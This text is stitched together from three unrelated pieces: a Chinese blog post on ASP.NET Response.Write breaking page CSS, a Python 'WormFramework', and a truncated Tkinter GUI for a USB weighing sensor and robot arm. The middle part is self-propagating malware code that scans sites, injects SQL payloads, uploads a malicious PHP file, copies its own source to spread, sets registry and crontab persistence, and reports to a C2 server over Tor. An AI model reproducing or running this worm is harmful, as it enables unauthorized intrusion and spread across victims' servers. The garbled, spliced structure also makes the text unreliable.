Response.Write()方法响应导致页面内容变形的问题

本文讨论了ASP.NET中使用Response.Write方法输出JavaScript脚本导致页面CSS样式失效的问题,并提供了两种解决方法:通过Page.RegisterStartupScript方法在页面中执行客户端脚本块,或在输出脚本后使用特定代码确保页面内容布局不受影响。

Response.Write()方法响应导致页面内容变形的问题

来源: 张林§的日志

= = 原来是这样……我说CSS怎么都失效了呢。。坑爹的ASP.NET

首先是js弹出系统提示窗口的解决

Response.Write的确可以输出Javascript脚本。但是这样做会使得页面的CSS样式彻底失效。 如果你是Asp.net 2.0,则可以通过下面的代码实现执行JS脚本: ClientScript.RegisterStartupScript(this.GetType(),"alt","alert('这样执行脚本CSS不失效')",true);

然后是页面的跳转

转自:http://liulili2005cn.blog.163.com/blog/static/181475512011312844338/

比方说在页面里面有个LinkButton,要点击以后要打开新窗口,而且新窗口的URL是根据用户选择结果动态产生的。LinkButton的代码这样写:     protected void ServiceManHistoryButton_Click(object sender, EventArgs e)     {         Response.Write("<script>window.open('EquipmentHistory.aspx?eid=" + ServiceManDropDownList.SelectedValue + "');</script>");      } 运行以后会发现,新窗口是打开了,但是原来页面的字体变大了,奇怪的问题! 有人想也不想就说是CSS没设置好,对这些人我很无语,求教的时候最怕遇到他们 实际原因是直接Response.write输出脚本代码到顶部,打乱了文档模型,所以造成了这样的结果。
OK,解决方法有两个。方法一:把Response.Write()语句替换为这个 Page.RegisterStartupScript("ServiceManHistoryButtonClick", "<script>window.open('EquipmentHistory.aspx?eid=" + ServiceManDropDownList.SelectedValue + "');</script>");
这个方法用于在页响应中发出客户端脚本块,前一个参数是该Script在页面中的唯一名称(随便起,不重复就行),后一个是脚本内容。
这个方法应该是微软官方推荐的方法。方法二:在原程序的Response.Write()语句后再加一句Response.Write("<script>document.location=document.location;</script>");
想出这个办法的人真高!但是如果在一个输入页面,有多提醒状态下,使用这个办法会导致页面内容清空哦 哈

源地址:http://blog.renren.com/GetEntry.do?id=731210778&owner=271653490

import base64 import random import string import hmac import hashlib import time import sys import ctypes import os from urllib.parse import urlparse, quote import requests import socket from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad import logging import socks import stem.process # 配置日志记录器 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') # 全局变量,用于密钥轮换 current_key_index = 0 symmetric_keys = [] for _ in range(5): symmetric_keys.append(''.join(random.choices(string.ascii_letters + string.digits, k=16)).encode('utf - 8')) # 动态HMAC算法列表 hmac_algorithms = [hashlib.sha256, hashlib.sha384, hashlib.sha512] class Scanner: def __init__(self): self.targets = [] self.persistence_file = 'targets.txt' self.load_targets() def add_target(self, url): self.targets.append(url) self.save_targets() def find_vulnerable_hosts(self): vulnerable_hosts = [] for target in self.targets: if self._check_vulnerable(target): vulnerable_hosts.append(target) return vulnerable_hosts def _check_vulnerable(self, target): try: socket.gethostbyname(urlparse(target).hostname) except socket.gaierror: logging.error(f"无法解析主机名: {urlparse(target).hostname}") return False if not urlparse(target).scheme: target = 'http://' + target headers = { 'User - Agent': self._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': target } paths_to_check = self._generate_paths() for path in paths_to_check: try: time.sleep(random.uniform(1, 3)) response = requests.get(target + path, headers=headers) if response.status_code == 200: if self._is_suspicious(response.text): logging.info(f"{target} 可能存在漏洞,状态码: {response.status_code}") return True else: logging.info(f"{target} 状态码200但内容无异常,路径: {path}") else: logging.info(f"{target} 状态码非200,路径: {path},状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"Check vulnerable request exception: {e}") return False def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) def _generate_paths(self): common_paths = ['/login.php', '/admin.php', '/index.php'] random_paths = ['/' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(5, 10))) for _ in range(3)] return common_paths + random_paths def _is_suspicious(self, response_text): keywords = ['sql error', 'unexpected token', 'database error'] for keyword in keywords: if keyword in response_text.lower(): return True return False def load_targets(self): try: with open(self.persistence_file, 'r') as f: self.targets = f.read().splitlines() except FileNotFoundError: pass def save_targets(self): with open(self.persistence_file, 'w') as f: for target in self.targets: f.write(target + '\n') class PropagationEngine: def propagate_to_target(self, target, payload): upload_paths = ['/upload.php', '/file_upload.php', '/upload_file.php'] for upload_path in upload_paths: try: time.sleep(random.uniform(1, 3)) files = {'file': ('malicious_file.php', payload)} headers = self._generate_headers() response = requests.post(target + upload_path, files=files, headers=headers) if response.status_code == 200: logging.info(f"成功传播到目标 {target}") return True else: logging.info(f"传播到目标 {target} 失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"传播到目标 {target} 时出错: {e}") return False def _generate_headers(self): headers = { 'User - Agent': self._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } # 这里可以添加更多处理CSRF token等逻辑,暂时先留空 return headers def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) class MultiArchPayload: def __init__(self): self.payload_segments = [] self.encoding_methods = [self._base64_encode, self._hex_encode, self._url_encode] def generate_mutation(self, base_payload): self.payload_segments = [] num_segments = random.randint(3, 5) segment_size = len(base_payload) // num_segments remaining = len(base_payload) % num_segments start = 0 for i in range(num_segments): end = start + segment_size if i == num_segments - 1: end += remaining segment = base_payload[start:end] encoding_method = random.choice(self.encoding_methods) encoded_segment = encoding_method(segment) self.payload_segments.append(encoded_segment) return self.payload_segments def _base64_encode(self, data): return base64.b64encode(data).decode('utf - 8') def _hex_encode(self, data): return data.hex() def _url_encode(self, data): return quote(data.decode('utf - 8')) class WormFramework: def __init__(self): self.payload_generator = MultiArchPayload() self.vulnerability_scanner = Scanner() self.propagator = PropagationEngine() self.rsa_key = RSA.generate(2048) self.private_key = self.rsa_key.export_key() self.public_key = self.rsa_key.publickey().export_key() self.worm_code = self._read_worm_code() self.c2_server_url = 'http://your_c2_server.com' self.tor_process = None def generate_payload(self, base_payload): return self.payload_generator.generate_mutation(base_payload) def scan_targets(self): targets = self.vulnerability_scanner.find_vulnerable_hosts() logging.info(f"发现的可能存在漏洞的目标: {targets}") return targets def exploit_target(self, target, base_payload): if not urlparse(target).scheme: target = 'http://' + target injection_path = self._get_injection_path(target) if not injection_path: return False malicious_payload_segments = self.generate_payload(base_payload) success = False max_retries = 3 for segment in malicious_payload_segments: for retry in range(max_retries): try: time.sleep(random.uniform(1, 3)) url = target + injection_path + 'id=' + segment headers = { 'User - Agent': self.vulnerability_scanner._generate_random_user_agent(), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': target } logging.info(f"尝试发送恶意请求: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: logging.info(f"恶意请求成功,状态码: {response.status_code}") success = True break else: logging.info(f"恶意请求失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"Exploit SQL injection request exception: {e}") if retry < max_retries - 1: time.sleep(2) continue if success: break if not success: logging.info("所有恶意负载注入尝试均失败。") return success def inject_payload(self, target, base_payload): logging.info(f"正在向目标 {target} 注入有效载荷") self._send_encrypted_payload(target, base_payload) def propagate(self, base_payload): global current_key_index logging.info("开始传播流程") if self._should_delay(): time.sleep(random.randint(3600, 7200)) # 延迟1 - 2小时 for target in self.scan_targets(): logging.info(f"开始检测并尝试利用目标 {target}") if self.exploit_target(target, base_payload): encrypted_payload = self._encrypt_payload(self.worm_code) if self.propagator.propagate_to_target(target, encrypted_payload): self._install_persistence(target) current_key_index = (current_key_index + 1) % len(symmetric_keys) self._send_status_to_c2('Propagation success') def _get_injection_path(self, target): paths = ['/vulnerable_page.php?', '/inject.php?'] for path in paths: try: response = requests.get(target + path) if response.status_code == 200: return path except requests.RequestException: pass return None def _encrypt_payload(self, base_payload): global current_key_index session_key = symmetric_keys[current_key_index] cipher_aes = AES.new(session_key, AES.MODE_CBC) padded_data = pad(base_payload, AES.block_size) encrypted_data = cipher_aes.encrypt(padded_data) cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.public_key)) encrypted_session_key = cipher_rsa.encrypt(session_key) iv = base64.b64encode(cipher_aes.iv).decode('utf - 8') encrypted_session_key_b64 = base64.b64encode(encrypted_session_key).decode('utf - 8') encrypted_data_b64 = base64.b64encode(encrypted_data).decode('utf - 8') hmac_algorithm = random.choice(hmac_algorithms) h = hmac.new(session_key, encrypted_data, hmac_algorithm) hmac_digest = base64.b64encode(h.digest()).decode('utf - 8') combined_data = f"{encrypted_session_key_b64}:{iv}:{encrypted_data_b64}:{hmac_digest}:{hmac_algorithm.__name__}" return combined_data.encode('utf - 8') def _decrypt_payload(self, encrypted_payload): global current_key_index parts = encrypted_payload.decode('utf - 8').split(':') encrypted_session_key_b64, iv_b64, encrypted_data_b64, hmac_digest_b64, hmac_algorithm_name = parts encrypted_session_key = base64.b64decode(encrypted_session_key_b64) iv = base64.b64decode(iv_b64) encrypted_data = base64.b64decode(encrypted_data_b64) received_hmac_digest = base64.b64decode(hmac_digest_b64) hmac_algorithm = getattr(hashlib, hmac_algorithm_name) session_key = symmetric_keys[current_key_index] h = hmac.new(session_key, encrypted_data, hmac_algorithm) expected_hmac_digest = h.digest() if hmac.compare_digest(received_hmac_digest, expected_hmac_digest): cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.private_key)) session_key = cipher_rsa.decrypt(encrypted_session_key) cipher_aes = AES.new(session_key, AES.MODE_CBC, iv) decrypted_data = unpad(cipher_aes.decrypt(encrypted_data), AES.block_size) return decrypted_data else: logging.error("HMAC验证失败,数据可能被篡改") return None def _read_worm_code(self): with open(__file__, 'rb') as f: return f.read() def _install_persistence(self, target): if sys.platform.startswith('win'): # 注册表自启动 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, "worm_service", 0, winreg.REG_SZ, sys.executable) winreg.CloseKey(key) elif sys.platform.startswith('linux'): # 之前的crontab方式 command = f"echo '*/5 * * * * python3 {os.path.abspath(__file__)}' | crontab -" try: response = requests.post(target + '/execute_command.php', data={'command': command}) if response.status_code == 200: logging.info(f"在目标 {target} 上成功安装持久化机制") else: logging.info(f"在目标 {target} 上安装持久化机制失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"在目标 {target} 上安装持久化机制时出错: {e}") def _send_status_to_c2(self, status): try: socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9050) socket.socket = socks.socksocket response = requests.post(self.c2_server_url + '/status', json={'status': status}, verify=False) if response.status_code == 200: logging.info("成功向C2服务器发送状态") else: logging.error(f"向C2服务器发送状态失败,状态码: {response.status_code}") except requests.RequestException as e: logging.error(f"向C2服务器发送状态时出错: {e}") finally: socket.socket = socket._realsocket def _should_delay(self): # 简单的延迟触发逻辑 return random.random() < 0.5 def _check_debugger_present(self): kernel32 = ctypes.windll.kernel32 return kernel32.IsDebuggerPresent() def _check_cpu_cores(self): if sys.platform.startswith('win'): kernel32 = ctypes.windll.kernel32 system_info = ctypes.wintypes.SYSTEM_INFO() kernel32.GetSystemInfo(ctypes.byref(system_info)) return system_info.dwNumberOfProcessors elif sys.platform.startswith('linux'): return os.cpu_count() def _start_tor(self): try: self.tor_process = stem.process.launch
10-19
import tkinter as tk from tkinter import ttk, messagebox, scrolledtext, filedialog import serial import serial.tools.list_ports import threading import time import matplotlib.pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg import openpyxl from openpyxl.chart import LineChart, Reference from openpyxl.chart.label import DataLabelList from openpyxl.styles import Font, Alignment from datetime import datetime import queue import json import winsound # Windows提示音(非Windows可注释) # --- 优化字体配置 --- plt.rcParams["font.family"] = ["Microsoft YaHei", "SimHei", "DejaVu Sans", "Arial Unicode MS"] plt.rcParams['axes.unicode_minus'] = False class USBWeightMonitor: def __init__(self, root): self.root = root self.root.title("USB称重变送器 + 机械臂控制系统") self.root.geometry("1600x900") self.root.resizable(True, True) # ========== 称重核心变量 ========== self.ser = None self.is_connected = False self.raw_data = [] # 存储所有原始采样点 [(time_str, weight_g)] self.peak_valley_log = [] # 存储所有识别出的峰值/谷值 [(time_str, weight_g, 'peak'/'valley')] self.sample_interval = 500 # 默认采样间隔 (ms) self.unit = "g" self.recording = False self.data_queue = queue.Queue() self.lock = threading.Lock() self.max_data_points = 1000 # 用于绘图的缓冲区大小 self.max_weight = None self.min_weight = None self.max_time = None self.min_time = None # 用于峰值检测的变量 self.last_weight = None self.peak_detection_buffer = [] # 临时缓冲区,用于峰值检测 self.peak_detection_window = 5 # 用于峰值检测的滑动窗口大小 # 峰值检测的辅助变量 self.last_peak_time = None self.last_valley_time = None self.last_peak_weight = None self.last_valley_weight = None # 用于GUI更新的临时列表 self.new_peak_valley_events = [] # 存储新检测到的峰值/谷值事件 [(time_str, weight_g, 'peak'/'valley')] # 峰值记录开关 self.record_peaks_var = tk.BooleanVar(value=True) # 默认开启 # ========== 机械臂相关变量 ========== self.arm_ser = None self.arm_is_connected = False self.move_step = tk.DoubleVar(value=1.0) self.gcode_content = "" self.running_gcode = False self.loop_count = tk.IntVar(value=1) self.current_loop = 0 # ========== 创建UI ========== self.create_widgets() # 初始化 self.refresh_com_ports() self.refresh_arm_ports() self.update_plot_periodic() self.process_data_queue() self.update_peak_log_table_periodically() # 启动GUI更新循环 def create_widgets(self): # 主容器,使用 Grid main_container = ttk.Frame(self.root) main_container.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) main_container.grid_columnconfigure(0, weight=1) main_container.grid_columnconfigure(1, weight=1) main_container.grid_rowconfigure(1, weight=1) # 曲线图区域占用最大空间 main_container.grid_rowconfigure(2, weight=0) # 日志区域占用较小空间 # 1. 顶部:称重 & 机械臂 串口配置(一行两列) top_frame = ttk.Frame(main_container) top_frame.grid(row=0, column=0, columnspan=2, sticky=tk.EW, padx=5, pady=5) top_frame.grid_columnconfigure(0, weight=1) top_frame.grid_columnconfigure(1, weight=1) # 称重设备配置 self.top_weight_frame = ttk.LabelFrame(top_frame, text="称重设备串口配置") self.top_weight_frame.grid(row=0, column=0, sticky=tk.EW, padx=(0, 5), pady=5) self.top_weight_frame.grid_columnconfigure(4, weight=1) ttk.Label(self.top_weight_frame, text="COM口:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) self.port_combo = ttk.Combobox(self.top_weight_frame, state="readonly") self.port_combo.grid(row=0, column=1, padx=5, pady=5, sticky=tk.W) ttk.Button(self.top_weight_frame, text="刷新端口", command=self.refresh_com_ports).grid(row=0, column=2, padx=5, pady=5) ttk.Label(self.top_weight_frame, text="波特率:").grid(row=0, column=3, padx=5, pady=5, sticky=tk.W) self.baud_combo = ttk.Combobox(self.top_weight_frame, values=["38400", "115200"], state="readonly") self.baud_combo.current(0) self.baud_combo.grid(row=0, column=4, padx=5, pady=5, sticky=tk.W) self.connect_btn = ttk.Button(self.top_weight_frame, text="连接设备", command=self.toggle_connection) self.connect_btn.grid(row=0, column=5, padx=10, pady=5) self.unit_btn = ttk.Button(self.top_weight_frame, text="切换到N", command=self.toggle_unit) self.unit_btn.grid(row=0, column=6, padx=10, pady=5) # 机械臂配置 self.top_arm_frame = ttk.LabelFrame(top_frame, text="机械臂串口配置") self.top_arm_frame.grid(row=0, column=1, sticky=tk.EW, padx=(5, 0), pady=5) self.top_arm_frame.grid_columnconfigure(4, weight=1) ttk.Label(self.top_arm_frame, text="COM口:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W) self.arm_port_combo = ttk.Combobox(self.top_arm_frame, state="readonly", width=10) self.arm_port_combo.grid(row=0, column=1, padx=5, pady=5) ttk.Button(self.top_arm_frame, text="刷新", command=self.refresh_arm_ports).grid(row=0, column=2, padx=5, pady=5) ttk.Label(self.top_arm_frame, text="波特率:").grid(row=0, column=3, padx=5, pady=5, sticky=tk.W) self.arm_baud_combo = ttk.Combobox(self.top_arm_frame, values=["9600", "19200", "38400", "115200"], state="readonly", width=10) self.arm_baud_combo.set("115200") self.arm_baud_combo.grid(row=0, column=4, padx=5, pady=5) self.arm_connect_btn = ttk.Button(self.top_arm_frame, text="连接机械臂", command=self.toggle_arm_connection) self.arm_connect_btn.grid(row=0, column=5, padx=10, pady=5) # 2. 中部:重量显示 + 曲线图 (左侧) & 机械臂控制 + 峰值日志 (右侧) mid_container = ttk.Frame(main_container) mid_container.grid(row=1, column=0, columnspan=2, sticky=tk.NSEW, padx=5, pady=5) mid_container.grid_columnconfigure(0, weight=2) mid_container.grid_columnconfigure(1, weight=1) mid_container.grid_rowconfigure(0, weight=1) # 左侧:重量显示 + 曲线图 left_panel = ttk.Frame(mid_container) left_panel.grid(row=0, column=0, sticky=tk.NSEW, padx=(0, 5)) # 重量显示 self.weight_display_frame = ttk.LabelFrame(left_panel, text="重量监控") self.weight_display_frame.pack(fill=tk.X, padx=5, pady=5) self.weight_label = ttk.Label(self.weight_display_frame, text="0.00 g", font=("Arial", 48, "bold")) self.weight_label.pack(pady=10) self.stats_frame = ttk.Frame(self.weight_display_frame) self.stats_frame.pack(pady=5) self.max_label = ttk.Label(self.stats_frame, text="最大值: -- g", font=("Arial", 12), foreground="red") self.max_label.grid(row=0, column=0, padx=20) self.min_label = ttk.Label(self.stats_frame, text="最小值: -- g", font=("Arial", 12), foreground="blue") self.min_label.grid(row=0, column=1, padx=20) # 曲线图 self.plot_frame = ttk.LabelFrame(left_panel, text="实时重力变化曲线") self.plot_frame.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) self.fig, self.ax = plt.subplots(figsize=(10, 4)) self.ax.set_xlabel("时间") self.ax.set_ylabel("重量 (g)") self.ax.set_title("实时重力变化曲线", fontsize=14, fontweight='bold') self.line, = self.ax.plot([], [], color="red", linewidth=1, label='Raw Data') self.peak_line, = self.ax.plot([], [], 'o', color="blue", markersize=4, label='Peaks') self.valley_line, = self.ax.plot([], [], 'v', color="green", markersize=4, label='Valleys') self.ax.legend() self.canvas = FigureCanvasTkAgg(self.fig, master=self.plot_frame) self.canvas.draw() self.canvas.get_tk_widget().pack(fill=tk.BOTH, expand=True, padx=5, pady=5) # 右侧:机械臂控制 + 峰值日志 right_panel = ttk.Frame(mid_container) right_panel.grid(row=0, column=1, sticky=tk.NSEW, padx=(5, 0)) # 机械臂控制 self.move_frame = ttk.LabelFrame(right_panel, text="手动移动 (X轴)") self.move_frame.pack(fill=tk.X, padx=5, pady=5) ttk.Label(self.move_frame, text="步长 (mm):").grid(row=0, column=0, padx=5, pady=5) ttk.Entry(self.move_frame, textvariable=self.move_step, width=8).grid(row=0, column=1, padx=5, pady=5) self.x_left_btn = ttk.Button(self.move_frame, text="↓ X-1", command=lambda: self.move_arm("X", -1), state=tk.DISABLED) self.x_left_btn.grid(row=0, column=2, padx=5, pady=5) self.x_right_btn = ttk.Button(self.move_frame, text="X+1 ↑", command=lambda: self.move_arm("X", 1), state=tk.DISABLED) self.x_right_btn.grid(row=0, column=3, padx=5, pady=5) # G-code 控制 self.gcode_frame = ttk.LabelFrame(right_panel, text="G-code 控制") self.gcode_frame.pack(fill=tk.X, padx=5, pady=5) ttk.Label(self.gcode_frame, text="G-code:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.NW) self.gcode_text = tk.Text(self.gcode_frame, height=4, width=40) self.gcode_text.grid(row=0, column=1, padx=5, pady=5, columnspan=3) self.gcode_text.insert(tk.END, "G91\nG0 X-1 F500\nG0 X1 F500\n") ttk.Label(self.gcode_frame, text="循环次数:").grid(row=1, column=0, padx=5, pady=5, sticky=tk.W) ttk.Spinbox(self.gcode_frame, from_=1, to=100, textvariable=self.loop_count, width=8).grid(row=1, column=1, padx=5, pady=5, sticky=tk.W) btn_frame = ttk.Frame(self.gcode_frame) btn_frame.grid(row=1, column=2, columnspan=2, sticky=tk.E) self.send_gcode_btn = ttk.Button(btn_frame, text="发送G-code", command=self.send_gcode, state=tk.DISABLED) self.send_gcode_btn.pack(side=tk.LEFT, padx=5) self.stop_gcode_btn = ttk.Button(btn_frame, text="停止", command=self.stop_gcode, state=tk.DISABLED) self.stop_gcode_btn.pack(side=tk.LEFT, padx=5) # 峰值日志表格 self.peak_log_frame = ttk.LabelFrame(right_panel, text="峰值/谷值日志") self.peak_log_frame.pack(fill=tk.BOTH, expand=True, padx=5, pady=5) self.peak_log_tree = ttk.Treeview(self.peak_log_frame, columns=("Time", "Weight", "Type"), show="headings", height=10) self.peak_log_tree.heading("Time", text="时间") self.peak_log_tree.heading("Weight", text="重量 (g)") self.peak_log_tree.heading("Type", text="类型") self.peak_log_tree.column("Time", width=120, anchor="center") self.peak_log_tree.column("Weight", width=80, anchor="center") self.peak_log_tree.column("Type", width=60, anchor="center") tree_scrollbar = ttk.Scrollbar(self.peak_log_frame, orient=tk.VERTICAL, command=self.peak_log_tree.yview) self.peak_log_tree.configure(yscrollcommand=tree_scrollbar.set) self.peak_log_tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) tree_scrollbar.pack(side=tk.RIGHT, fill=tk.Y) # 3. 底部:操作控制 self.bottom_frame = ttk.LabelFrame(main_container, text="操作控制") self.bottom_frame.grid(row=2, column=0, columnspan=2, sticky=tk.EW, padx=5, pady=5) ttk.Label(self.bottom_frame, text="采样间隔(ms):").grid(row=0, column=0, padx=5, pady=10, sticky=tk.W) self.interval_spin = ttk.Spinbox(self.bottom_frame, from_=50, to=5000, increment=50, value=500) self.interval_spin.grid(row=0, column=1, padx=5, pady=10, sticky=tk.W) ttk.Button(self.bottom_frame, text="应用间隔", command=self.set_sample_interval).grid(row=0, column=2, padx=5, pady=10) # 新增峰值记录复选框 self.record_peaks_check = ttk.Checkbutton(self.bottom_frame, text="记录峰值/谷值", variable=self.record_peaks_var) self.record_peaks_check.grid(row=0, column=3, padx=10, pady=10) ttk.Button(self.bottom_frame, text="零点标定", command=self.calibrate_zero).grid(row=0, column=4, padx=10, pady=10) ttk.Button(self.bottom_frame, text="砝码标定", command=self.calibrate_weight).grid(row=0, column=5, padx=10, pady=10) ttk.Button(self.bottom_frame, text="清零最值", command=self.reset_extremes).grid(row=0, column=6, padx=10, pady=10) ttk.Button(self.bottom_frame, text="导出峰值日志", command=self.export_peak_valley_log_to_excel).grid(row=0, column=7, padx=10, pady=10) # 4. 日志区(放在底部,不占用主空间) self.log_frame = ttk.LabelFrame(main_container, text="运行日志") self.log_frame.grid(row=3, column=0, columnspan=2, sticky=tk.EW, padx=5, pady=5) self.log_text = scrolledtext.ScrolledText(self.log_frame, height=6, state=tk.DISABLED) self.log_text.pack(fill=tk.X, padx=5, pady=5) # ========== 称重功能(核心逻辑修改)========== def add_log(self, content): self.log_text.config(state=tk.NORMAL) current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") self.log_text.insert(tk.END, f"[{current_time}] {content}\n") self.log_text.see(tk.END) self.log_text.config(state=tk.DISABLED) def refresh_com_ports(self): ports = [p.device for p in serial.tools.list_ports.comports()] self.port_combo["values"] = ports if ports: self.port_combo.current(0) else: self.add_log("未检测到可用称重设备COM口") def toggle_connection(self): if not self.is_connected: port = self.port_combo.get() baud = int(self.baud_combo.get()) if not port: messagebox.showerror("错误", "请选择COM口") return try: self.ser = serial.Serial(port, baud, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=1) self.is_connected = True self.connect_btn.config(text="断开设备") self.recording = True self.reset_extremes() threading.Thread(target=self.read_weight_data, daemon=True).start() self.add_log(f"称重设备已连接:{port} @ {baud}") except Exception as e: messagebox.showerror("连接失败", str(e)) self.add_log(f"称重连接失败:{e}") else: if self.ser and self.ser.is_open: self.ser.close() self.is_connected = False self.recording = False self.connect_btn.config(text="连接设备") self.add_log("称重设备已断开") def read_weight_data(self): while self.recording and self.ser and self.ser.is_open: try: read_cmd = bytes.fromhex("010300000002C40B") self.ser.write(read_cmd) time.sleep(0.1) # 发送命令后等待响应 response = self.ser.read(9) if len(response) == 9 and response[0] == 0x01 and response[1] == 0x03: raw_data = response[3:7] high_word = (raw_data[2] << 8) | raw_data[3] low_word = (raw_data[0] << 8) | raw_data[1] raw_value = (high_word << 16) | low_word if raw_value > 0x7FFFFFFF: raw_value -= 0x100000000 actual_weight_g = raw_value current_time = datetime.now().strftime("%H:%M:%S.%f")[:-3] with self.lock: # 将当前点加入检测缓冲区 self.peak_detection_buffer.append((current_time, actual_weight_g)) # 如果缓冲区满了,进行一次峰值检测 if len(self.peak_detection_buffer) >= self.peak_detection_window: self.detect_peaks_in_buffer() # 添加到原始数据队列 self.data_queue.put((current_time, actual_weight_g)) self.last_weight = actual_weight_g else: self.add_log(f"称重响应异常:{response.hex()}") except Exception as e: self.add_log(f"称重读取错误:{e}") # 固定采样间隔 time.sleep(self.sample_interval / 1000) def detect_peaks_in_buffer(self): """在缓冲区中检测峰值和谷值""" # 检查峰值记录开关 if not self.record_peaks_var.get(): # 如果开关关闭,清空缓冲区并返回,不进行任何峰值检测 self.peak_detection_buffer = [] return if len(self.peak_detection_buffer) < 3: return # 获取当前缓冲区的值 times = [t for t, w in self.peak_detection_buffer] weights = [w for t, w in self.peak_detection_buffer] # 寻找峰值和谷值 # 峰值:中间点大于两边 for i in range(1, len(weights) - 1): if weights[i] > weights[i-1] and weights[i] > weights[i+1]: # 检查是否比当前已知的最近峰值还大 if self.last_peak_weight is None or weights[i] > self.last_peak_weight: time_str = times[i] weight_g = weights[i] # 检查是否与上一个记录的峰值时间不同,避免重复 if self.last_peak_time != time_str: with self.lock: self.peak_valley_log.append((time_str, weight_g, 'peak')) self.new_peak_valley_events.append((time_str, weight_g, 'peak')) self.last_peak_time = time_str self.last_peak_weight = weight_g self.add_log(f"检测到波峰: {weight_g:.2f}g @ {time_str}") # 找到一个峰值就退出本次检测 break # 谷值:中间点小于两边 for i in range(1, len(weights) - 1): if weights[i] < weights[i-1] and weights[i] < weights[i+1]: # 检查是否比当前已知的最近谷值还小 if self.last_valley_weight is None or weights[i] < self.last_valley_weight: time_str = times[i] weight_g = weights[i] # 检查是否与上一个记录的谷值时间不同,避免重复 if self.last_valley_time != time_str: with self.lock: self.peak_valley_log.append((time_str, weight_g, 'valley')) self.new_peak_valley_events.append((time_str, weight_g, 'valley')) self.last_valley_time = time_str self.last_valley_weight = weight_g self.add_log(f"检测到波谷: {weight_g:.2f}g @ {time_str}") # 找到一个谷值就退出本次检测 break # 保留缓冲区最后的几个点,用于下一次检测的连续性 self.peak_detection_buffer = self.peak_detection_buffer[-2:] def process_data_queue(self): try: new_data = [] while True: try: data = self.data_queue.get_nowait() new_data.append(data) except queue.Empty: break if new_data: with self.lock: for time_str, weight_g in new_data: # 添加到原始数据,用于绘图 self.raw_data.append((time_str, weight_g)) if len(self.raw_data) > self.max_data_points: self.raw_data.pop(0) # 更新统计信息(使用原始数据) if self.max_weight is None or weight_g > self.max_weight: self.max_weight = weight_g self.max_time = time_str if self.min_weight is None or weight_g < self.min_weight: self.min_weight = weight_g self.min_time = time_str self.update_weight_display() except Exception as e: self.add_log(f"处理数据队列时出错:{e}") self.root.after(100, self.process_data_queue) def update_peak_log_table_periodically(self): """定期更新峰值日志表格,避免频繁更新导致卡顿""" # 检查峰值记录开关 if not self.record_peaks_var.get(): # 如果开关关闭,清空待处理列表并返回 with self.lock: self.new_peak_valley_events.clear() return with self.lock: events_to_process = self.new_peak_valley_events[:] self.new_peak_valley_events.clear() # 清空临时列表 for time_str, weight_g, pv_type in events_to_process: # 确保单位转换 display_weight = weight_g if self.unit == "g" else weight_g * 0.0098 unit_str = "g" if self.unit == "g" else "N" self.peak_log_tree.insert("", "end", values=(time_str, f"{display_weight:.4f}", pv_type)) # 滚动到最后 self.peak_log_tree.see(self.peak_log_tree.get_children()[-1]) # 优化:如果事件队列很长,可以增加更新频率,反之降低 if len(events_to_process) > 10: self.root.after(50, self.update_peak_log_table_periodically) # 高频更新 else: self.root.after(200, self.update_peak_log_table_periodically) # 低频更新 def update_weight_display(self): if self.raw_data: last_time, last_weight = self.raw_data[-1] if self.unit == "g": self.weight_label.config(text=f"{last_weight:.2f} g") self.max_label.config(text=f"最大值: {self.max_weight:.2f} g") self.min_label.config(text=f"最小值: {self.min_weight:.2f} g") else: display_N = last_weight * 0.0098 self.weight_label.config(text=f"{display_N:.4f} N") self.max_label.config(text=f"最大值: {self.max_weight*0.0098:.4f} N") self.min_label.config(text=f"最小值: {self.min_weight*0.0098:.4f} N") else: if self.unit == "g": self.weight_label.config(text="0.00 g") self.max_label.config(text="最大值: -- g") self.min_label.config(text="最小值: -- g") else: self.weight_label.config(text="0.00 N") self.max_label.config(text="最大值: -- N") self.min_label.config(text="最小值: -- N") def update_plot_periodic(self): with self.lock: self.ax.set_ylabel(f"重量 ({self.unit})") self.ax.set_title(f"实时重力变化曲线 ({self.unit})", fontsize=14, 